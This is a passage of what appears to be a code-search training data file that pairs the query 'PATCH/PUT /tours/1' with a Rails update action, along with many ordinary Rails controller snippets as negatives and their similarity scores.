end", "def create\n @tutorials = Tutorial.all\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n render json: @tutorial\n else\n render json: @tutorial.errors.full_messages, status:400\n end\n end", "def create\n\n if tour_params[:endDate] < tour_params[:startDate]\n redirect_to new_tour_url, notice: 'Tour end date cannot be before start date.'\n elsif tour_params[:startDate] < tour_params[:deadline]\n redirect_to new_tour_url, notice: 'Tour booking deadline has to be before start date.'\n elsif tour_params[:deadline] < Date.today.to_s\n redirect_to new_tour_url, notice: 'Tour booking deadline has to be in the future.'\n else\n\n avail_seats = tour_params[:totalSeats]\n\n @tour = Tour.new(tour_params.merge(:username => session[:username],:user_id => session[:user_id], :availableSeats => avail_seats, :waitlistedSeats => 0, :tourStatus => \"In Future\"))\n\n respond_to do |format|\n if @tour.save\n #@tour_temp = Tour.find(params[:id])\n session[:tourname]=@tour.tourname\n session[:tour_id]=@tour.id\n\n format.html { redirect_to new_itinenary_url, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def create\n travel = Travel.new(travel_params)\n if travel.save\n render json: travel, status: 201, location: travel # :created\n\n # if you do not want to send back\n # render nothing: true, status: 204, location: travel\n else\n render json: travel.errors, status: 422 # :unprocessable_entity\n end\n end", "def index\n @tours = Tour.all\n @category = Category.new\n @place = Place.new\n \n end", "def create\n @tour_visitor = TourVisitor.find(params[:tour_visitor_id])\n @time_visitor = @tour_visitor.time_visitors.create(params[:time_visitor])\n \n redirect_to @tour_visitor\n end", "def create\n @user_biography = UserBiography.new(params[:user_biography])\n\n respond_to do |format|\n unless params[:nosave]\n \tif @user_biography.save\n \t\tif @user_biography.tour \n\t\t format.html { redirect_to controller: 'tours', action: 'setup', id: @user_biography.tour.id, bio_id: @user_biography.id, notice: 'User biography was successfully created.' }\n \t\t format.json { render json: {:original => @user_biography, :translations => @user_biography.translations }, status: :created, location: @user_biography }\n \t\t else \n \t\t format.html { redirect_to @user_biography, notice: 'User biography was successfully created.' }\n \t\t format.json { render json: {:original => @user_biography, :translations => @user_biography.translations }, status: :created, location: @user_biography }\n \t\t\t\tend \n \t else \t\n\t format.html { render action: \"new\" }\n \t format.json { render json: @user_biography.errors, status: :unprocessable_entity }\n \t end\n \t else\n\t \t format.html { render json: {:original => @user_biography, :translations => @user_biography.translations }, status: :created, location: @user_biography }\n\t \t format.json { render json: {:original => @user_biography, :translations => @user_biography.translations }, status: :created, location: @user_biography }\n end\n end\n end", "def create\n @trail = Trail.new(params[:trail])\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render json: @trail, status: :created, location: @trail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = user_from_token\n @tweet = user.tweets.new()\n @tweet.tweet = params[:tweet]\n if @tweet.save\n render :json => @tweet, :status => :created\n else\n render :json => @tweet.errors, :status => :unprocessable_entity\n end\n end", "def create\n @travel = Travel.new(travel_params)\n @travel.user = current_user\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to @travel, notice: 'Travel was successfully created.' }\n format.json { render :show, status: :created, location: @travel }\n else\n format.html { render :new }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tiendas_juego = TiendasJuego.new(tiendas_juego_params)\n\n respond_to do |format|\n if @tiendas_juego.save\n format.html { redirect_to @tiendas_juego, notice: 'Tiendas juego was successfully created.' }\n format.json { render :show, status: :created, location: @tiendas_juego }\n else\n format.html { render :new }\n format.json { render json: @tiendas_juego.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pastor = Pastor.new(params[:pastor])\n\n respond_to do |format|\n if @pastor.save\n format.html { redirect_to @pastor, notice: 'Pastor was successfully created.' }\n format.json { render json: @pastor, status: :created, location: @pastor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pastor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @tourism_article.save\n format.html { redirect_to @tourism_article, notice: 'Tourism article was successfully created.' }\n format.json { render json: @tourism_article, status: :created, location: @tourism_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tourism_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @turistum = Turistum.new(turistum_params)\n\n respond_to do |format|\n if @turistum.save\n format.html { redirect_to @turistum, notice: 'Turistum was successfully created.' }\n format.json { render :show, status: :created, location: @turistum }\n else\n format.html { render :new }\n format.json { render json: @turistum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tutoring = @homework.tutorings.new(tutoring_params)\n\n respond_to do |format|\n if @tutoring.save\n format.html { redirect_to tutorings_path, notice: 'Ha acceptado el encargo.' }\n format.json { render :show, status: :created, location: @tutoring }\n else\n format.html { render :new }\n format.json { render json: @tutoring.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_params\n params.require(:tour).permit(:name, :description, :price, :cover, :country, :city)\n end", "def tour_params\n params.require(:tour).permit(:tour_name, :description, :place_attributes => [:name, :gprs], :itinerary_attributes =>[:place_id, :tour_id])\n end", "def create\n @torneo = Torneo.new(torneo_params)\n\n respond_to do |format|\n if @torneo.save\n format.html { redirect_to @torneo, notice: 'Torneo fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @torneo }\n else\n format.html { render :new }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trenton = Trenton.new(params[:trenton])\n\n respond_to do |format|\n if @trenton.save\n format.html { redirect_to about_path, notice: 'Page successfully set up!' }\n format.json { render json: @trenton, status: :created, location: @trenton }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trenton.errors, status: :unprocessable_entity }\n end\n end\n end", "def curated_tour_params\n params.require(:curated_tour).permit(:tour_author, :tour_name, :published)\n end", "def create\n @tramite = Tramite.new(params[:tramite])\n\n respond_to do |format|\n if @tramite.save\n format.html { redirect_to @tramite, notice: 'Tramite was successfully created.' }\n format.json { render json: @tramite, status: :created, location: @tramite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tramite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @goal = @todo.goals.create(goal_params)\n render json: @goal\n end", "def create\n @travel = Travel.new(travel_params)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to @travel, notice: \"Travel was successfully created.\" }\n format.json { render :show, status: :created, location: @travel }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @teach = Teach.new(params[:teach])\n\n respond_to do |format|\n if @teach.save\n format.html { redirect_to @teach, notice: 'Teach was successfully created.' }\n format.json { render json: @teach, status: :created, location: @teach }\n else\n format.html { render action: \"new\" }\n format.json { render json: @teach.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @to_do = ToDo.new(to_do_params)\n id = \"\"\n request_url = request.env[\"HTTP_REFERER\"]\n array = request_url.split('/')\n id = array[-3]\n user = User.find(id.to_i)\n @to_do.user = user\n if @to_do.save\n render json: @to_do, status: :created, location: @to_do\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end", "def tour_params\n params.require(:tour).permit(:firstname, :lastname, :tourtype, :day, :time)\n end", "def tour_params\n params.require(:tour).permit(:position, :deleted_at, :featured, :banner, :status, title: @language, subtitle: @language, description: @language, task: @language, price_adults: @currency, price_kids: @currency)\n end", "def create\n @tutor = Tutor.new(tutor_params)\n\n respond_to do |format|\n if @tutor.save\n format.html { redirect_to @tutor, notice: 'Tutor was successfully created.' }\n format.json { render :show, status: :created, location: @tutor }\n else\n format.html { render :new }\n format.json { render json: @tutor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n # Create the tour (not yet saved to DB)\n @tour = Tour.new(params_without_locations)\n\n # Handle the creation in a transaction\n # so that any problems can be rolled back and it will be like the creation never happened\n # http://vaidehijoshi.github.io/blog/2015/08/18/safer-sql-using-activerecord-transactions/\n # https://stackoverflow.com/questions/51959746/how-to-know-why-a-transaction-was-rolled-back\n transaction_success = false\n Tour.transaction do\n\n # Attempt save\n @tour.save(params_without_locations)\n\n # Attempt to create a listing relationship between the new tour and the agent\n # The assumption here is that the current user is an agent\n # If not, they should not have been allowed to create a tour\n # Do not complain if we have a nil current user\n # This could happen during test (when nobody is logged in)\n # Do this after the tour is saved (otherwise the listing is no good)\n if current_user\n new_listing = Listing.new(tour_id: @tour.id, user_id: current_user.id)\n new_listing.save\n end\n\n # Attempt to create relationships between the tour and its locations\n link_to_locations\n\n # Everything still okay?\n unless @tour.errors.empty?\n raise ActiveRecord::Rollback\n end\n\n # Need ruby 2.5 or greater to rescue error inside do block\n # so we have a bit of extra code to tell, outside of the transaction, if it was rolled back\n # We will only get here if an exception was NOT raised\n transaction_success = true\n\n end\n\n # React based on whether or not the transaction succeeded\n if transaction_success\n # This code only runs if the transaction succeeded\n respond_to do |format|\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n end\n else\n # This code only runs if the transaction was rolled back\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def tour_params\n params.require(:tour).permit(:exhibition_id, :title, :subtitle, :body)\n end", "def create\n @tourist_place = TouristPlace.new(tourist_place_params)\n\n respond_to do |format|\n if @tourist_place.save\n format.html { redirect_to @tourist_place, notice: 'Tourist place was successfully created.' }\n format.json { render :show, status: :created, location: @tourist_place }\n else\n format.html { render :new }\n format.json { render json: @tourist_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @tossup = tossup.new(tossup_params)\n #\n # if @tossup.save\n # render :show, status: :created, location: @tossup\n # else\n # render json: @tossup.errors, status: :unprocessable_entity\n # end\n end", "def create\n # @tossup = tossup.new(tossup_params)\n #\n # if @tossup.save\n # render :show, status: :created, location: @tossup\n # else\n # render json: @tossup.errors, status: :unprocessable_entity\n # end\n end", "def create\n @tradeview = Tradeview.new(tradeview_params)\n\n respond_to do |format|\n if @tradeview.save\n format.html { redirect_to @tradeview, notice: 'Tradeview was successfully created.' }\n format.json { render :show, status: :created, location: @tradeview }\n else\n format.html { render :new }\n format.json { render json: @tradeview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tropa = Tropa.new(tropa_params)\n\n respond_to do |format|\n if @tropa.save\n format.html { redirect_to @tropa, notice: 'Tropa was successfully created.' }\n format.json { render :show, status: :created, location: @tropa }\n else\n format.html { render :new }\n format.json { render json: @tropa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tournament = Tournament.new(tournament_params)\n\n respond_to do |format|\n if @tournament.save\n format.html { redirect_to @tournament, notice: 'Tournament was successfully created.' }\n format.json { render json: @tournament, status: :created, location: @tournament }\n format.js\n else\n format.html { render :new }\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n\n @jour = current_user.jours.new(jour_params)\n\n respond_to do |format|\n if @jour.save\n format.html { redirect_to jours_url, notice: 'Jour was successfully created.' }\n format.json { render :show, status: :created, location: @jour }\n else\n format.html { render :new }\n format.json { render json: @jour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render :show, status: :created, location: @trail }\n else\n format.html { render :new }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @uchronia = Uchronia.new(params[:uchronia])\n\n respond_to do |format|\n if @uchronia.save\n format.html { redirect_to @uchronia, notice: 'Uchronia was successfully created.' }\n format.json { render json: @uchronia, status: :created, location: @uchronia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uchronia.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @turma = Turma.new(params[:turma])\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to @turma, notice: 'Turma criada com sucesso.' }\n format.json { render json: @turma, status: :created, location: @turma }\n else\n format.html { render action: \"new\" }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_params\n params.require(:tour).permit(:name, :description, :start_time, :category_id,\n :tour_img, :language_id, :from_point, :to_point,\n tour_languages_attributes: [:id, :language_id, :_destroy])\n end", "def tour_params\n params.require(:tour).permit( :title, :short_description, :has_many_day, :has_many_night, :season, :place, :place_info, :description, :min_group_count, :max_group_count, :price, :tour_type, :mark, :rus_title, :published, :image_title, :image, :included_services, :not_included_services, :category_id, :delete_image,\n tour_days_attributes: [ :id, :day_num, :day_desc, :day_note, :day_name, :tour_id, :_destroy, \n day_images_attributes: [ :id, :tour_day_id, :title, :image, :_destroy ]\n ],\n tour_comments_attributes: [ :id ,:tour_id, :author, :title, :body, :parent_id, :_destroy],\n meta_tag_attributes: [ :id, :title, :description, :keywords, :tour_id ],\n questions_attributes: [ :id, :title, :email, :name, :body, :tour_id, :status ]\n )\n end", "def create\n @webtoon = Webtoon.new(webtoon_params)\n\n respond_to do |format|\n if @webtoon.save\n format.html { redirect_to @webtoon, notice: 'Webtoon was successfully created.' }\n format.json { render :show, status: :created, location: @webtoon }\n else\n format.html { render :new }\n format.json { render json: @webtoon.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if(params[:search])\n @title = \"Tours matching #{params[:search]}\"\n else\n @title = \"Search for tours\"\n end\n search_sort_and_paginate_tours(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tours }\n format.json { render :json => @tours }\n end\n end", "def create\n # @route = Route.new(params[:route])\n \n waypoints = params[:waypoints]\n creator = params[:creator]\n updated_at = params[:updated_at]\n name = params[:name]\n\n @route = Route.new(waypoints: waypoints, creator: creator, updated_at: updated_at, name: name)\n \n @route.save\n\n render json: @route\n\n # @vote_creator = VoteCreator.new(vote_params)\n # @vote = @vote_creator.vote\n # if @vote_creator.save\n # render json: @vote, status: :created, location: @vote\n # else\n # render json: @vote.errors, status: :unprocessable_entity\n # end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trail }\n else\n format.html { render action: 'new' }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @anniversary = Anniversary.new\n form = params[:anniversary]\n @anniversary.anniversary = form[:anniversary]\n @anniversary.description = form[:description]\n\n @anniversary.user_id = current_user.id\n last_anniversary = Anniversary.find(:all, :conditions => ['user_id', '1']).first\n if last_anniversary\n @anniversary.date = last_anniversary.date + 1.days\n else\n @anniversary.date = Date.today + 1.days\n end\n @anniversary.save\n # FIXME 3rd parameter\n tweet_body = \"@#{@anniversary.user.twitter_id} は最高の幸せを噛み締めた。そう、一日は終わったのだ。http://cutend.me:3000/anniversaries/#{@anniversary.id} #cutend\"\n tweet_result = current_user.tweet({:tweet_body => tweet_body, :user => current_user})\n @anniversary.tweet_id = tweet_result[:id].to_i\n\n respond_to do |format|\n if @anniversary.save\n format.html { redirect_to '/anniversaries', notice: 'Anniversary was successfully created.' }\n format.json { render json: @anniversary, status: :created, location: @anniversary }\n else\n format.html { render action: \"new\" }\n format.json { render json: @anniversary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @titulacao = Titulacao.new(titulacao_params)\n\n respond_to do |format|\n if @titulacao.save\n format.html { redirect_to titulacaos_path, notice: 'Titulo criado com successo.' }\n format.json { render :index, status: :created, location: titulacaos_path }\n else\n format.html { render :new }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @tour_requests = TourRequest.all\n end" ]
[ "0.6760751", "0.66702574", "0.65213275", "0.6514009", "0.6290698", "0.6244058", "0.6244058", "0.6225952", "0.6214439", "0.6198587", "0.6171875", "0.6141954", "0.61197436", "0.61145175", "0.60679406", "0.6041542", "0.6030725", "0.5990762", "0.59786594", "0.59362704", "0.58708817", "0.5867576", "0.5866626", "0.5859219", "0.5829995", "0.58245355", "0.5823852", "0.582184", "0.58197534", "0.58093756", "0.58082", "0.58045536", "0.5795252", "0.5773206", "0.57662845", "0.5758254", "0.5749904", "0.57469285", "0.5744084", "0.5731467", "0.57300186", "0.57236576", "0.5718746", "0.5705168", "0.5700908", "0.5692888", "0.56802166", "0.5679667", "0.5668314", "0.5662282", "0.5652961", "0.5652083", "0.5646601", "0.56251216", "0.56155545", "0.56143284", "0.5613977", "0.56110793", "0.5595768", "0.55954623", "0.559152", "0.5590049", "0.55898905", "0.55867344", "0.5586143", "0.55843735", "0.55680615", "0.55622303", "0.5557396", "0.55551404", "0.55462736", "0.5544959", "0.5540803", "0.55385554", "0.55381674", "0.5522245", "0.55170774", "0.5512632", "0.550441", "0.5503797", "0.5488979", "0.5482817", "0.54824984", "0.5482474", "0.54821473", "0.54752594", "0.5466631", "0.54660183", "0.54629976", "0.54571503", "0.5456987", "0.5455755", "0.54540884", "0.5449385", "0.5444817", "0.54407036", "0.54392564", "0.5436167", "0.54358566", "0.54328954" ]
0.6383303
4
PATCH/PUT /tours/1 PATCH/PUT /tours/1.json
def update respond_to do |format| # if image(s) attached they will be found inside tour_params if @tour.update(tour_params) format.html { redirect_to @tour, notice: 'Tour was successfully updated.' } format.json { render :show, status: :ok, location: @tour } else format.html { render :edit } format.json { render json: @tour.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @tour = Tour.find(params[:id])\n\n respond_to do |format|\n if @tour.update_attributes(params[:tour])\n format.html { redirect_to @tour, notice: 'Tour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour.update(tour_params)\n format.html { redirect_to @tour, notice: 'Tour was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour }\n else\n format.html { render :edit }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour.update(tour_params)\n format.html { redirect_to @tour, notice: 'Tour was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour }\n else\n format.html { render :edit }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tour = Tour.find_by_url(params[:id])\n\n respond_to do |format|\n if @tour.update_attributes(params[:tour])\n format.html { redirect_to(@tour, :notice => 'Tour was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n if @torso.update_attributes(params[:torso])\n format.html { redirect_to @torso, notice: 'Torso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour.update(tour_params)\n format.html { redirect_to @tour, notice: \"Tour was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tour }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tatoo.update(tatoo_params)\n format.html { redirect_to tatoos_path, notice: 'Tatoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tatoo }\n else\n format.html { render :edit }\n format.json { render json: @tatoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n trip = Trip.find_by_id(params[:trip_id])\n trip.title = params[:title]\n trip.city = params[:city]\n trip.state = params[:state]\n trip.country = params[:country]\n trip.start_date = params[:start_date]\n trip.end_date = params[:end_date]\n trip.description = params[:description]\n trip.link = params[:link]\n if params[:photo_base]\n trip.photo = params[:photo_base]\n end\n trip.save!\n render json: trip\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n @trenton = Trenton.first\n\n respond_to do |format|\n if @trenton.update_attributes(params[:trenton])\n format.html { redirect_to about_path, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trenton.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toy.update(toy_params)\n format.html { redirect_to @toy, notice: \"Toy was successfully updated.\" }\n format.json { render :show, status: :ok, location: @toy }\n else\n format.html { render :edit }\n format.json { render json: @toy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n #params[:trip][:participations] ||=[]\n respond_to do |format|\n if @trip.owner_id == current_user.id && @trip.update_attributes(params[:trip])\n flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # @tour = Tour.find(params[:id])\n @tour = Tour.find_by_permalink(params[:id])\n \n respond_to do |format|\n if @tour.update_attributes(params[:tour])\n flash[:notice] = 'Tour was successfully updated.'\n format.html { redirect_to(@tour) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour.update(tour_params)\n format.html { redirect_to tours_path, :notice => 'Se actualizo el tour exitosamente.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n if @troop.update_attributes(params[:troop])\n format.html { redirect_to @troop, notice: 'Troop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n extract_dates\n respond_to do |format|\n if @tour.update(tour_params)\n extract_accomodations\n extract_prices\n extract_transportations\n manage_uploads\n format.html { redirect_to \"/tours/#{@tour.uuid}\", notice: 'Tour was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour }\n else\n format.html { render :edit }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n if @territorio.update_attributes(params[:territorio])\n format.html { redirect_to @territorio, notice: 'Territorio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @territorio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if signed_in?\n @tourtable = Tourtable.find(params[:id])\n\n respond_to do |format|\n if @tourtable.update_attributes(params[:tourtable])\n format.html { redirect_to @tourtable, notice: 'Tourtable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tourtable.errors, status: :unprocessable_entity }\n end\n end\n end\nend", "def update\n respond_to do |format|\n if @tourney_set.update(tourney_set_params)\n format.html { redirect_to @tourney_set, notice: 'Tourney set was successfully updated.' }\n format.json { render :show, status: :ok, location: @tourney_set }\n else\n format.html { render :edit }\n format.json { render json: @tourney_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tobject = Tobject.find(params[:id])\n\n respond_to do |format|\n if @tobject.update_attributes(params[:tobject])\n format.html { redirect_to @tobject, notice: 'Tobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tobject.errors, status: :unprocessable_entity }\n end\n end\n end", "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "def update\n respond_to do |format|\n if @troop.update(troop_params)\n format.html { redirect_to @troop, notice: 'Tropa exitosamente actualizada.' }\n format.json { render :show, status: :ok, location: @troop }\n else\n format.html { render :edit }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n @torneo = Torneo.find(params[:id])\n\n respond_to do |format|\n if @torneo.update_attributes(params[:torneo])\n format.html { redirect_to @torneo, notice: 'Torneo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tailor.update(tailor_params)\n format.html { redirect_to @tailor, notice: \"Tailor was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tailor }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tailor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attraction_tour = AttractionTour.find(params[:id])\n\n respond_to do |format|\n if @attraction_tour.update_attributes(params[:attraction_tour])\n format.html { redirect_to @attraction_tour, notice: 'Attraction tour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attraction_tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tropa.update(tropa_params)\n format.html { redirect_to @tropa, notice: 'Tropa was successfully updated.' }\n format.json { render :show, status: :ok, location: @tropa }\n else\n format.html { render :edit }\n format.json { render json: @tropa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end", "def update\n travel = Travel.find(params[:id])\n if travel.update(travel_params)\n render json: travel, status: 200\n else\n render json: travel.errors, status: 422\n end\n end", "def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "def update\n @tattoo = Tattoo.find(params[:id])\n\n respond_to do |format|\n if @tattoo.update_attributes(params[:tattoo])\n format.html { redirect_to @tattoo, notice: 'Tattoo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tattoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n if @uchronia.update_attributes(params[:uchronia])\n format.html { redirect_to @uchronia, notice: 'Uchronia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uchronia.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trajet.update(trajet_params)\n format.html { redirect_to @trajet, notice: 'Trajet was successfully updated.' }\n format.json { render :show, status: :ok, location: @trajet }\n else\n format.html { render :edit }\n format.json { render json: @trajet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n if @taux_tva.update_attributes(params[:taux_tva])\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @lotto.update(lotto_params)\n format.html { redirect_to @lotto, notice: 'Lotto was successfully updated.' }\n format.json { render :show, status: :ok, location: @lotto }\n else\n format.html { render :edit }\n format.json { render json: @lotto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @titulacao.update(titulacao_params)\n format.html { redirect_to titulacaos_path, notice: 'Titulo atualizado com successo.' }\n format.json { render titulacaos_path, status: :ok, location: titulacaos_path }\n else\n format.html { render :edit }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tale.update(tale_params)\n format.html { redirect_to @tale, notice: 'Tale was successfully updated.' }\n format.json { render :show, status: :ok, location: @tale }\n else\n 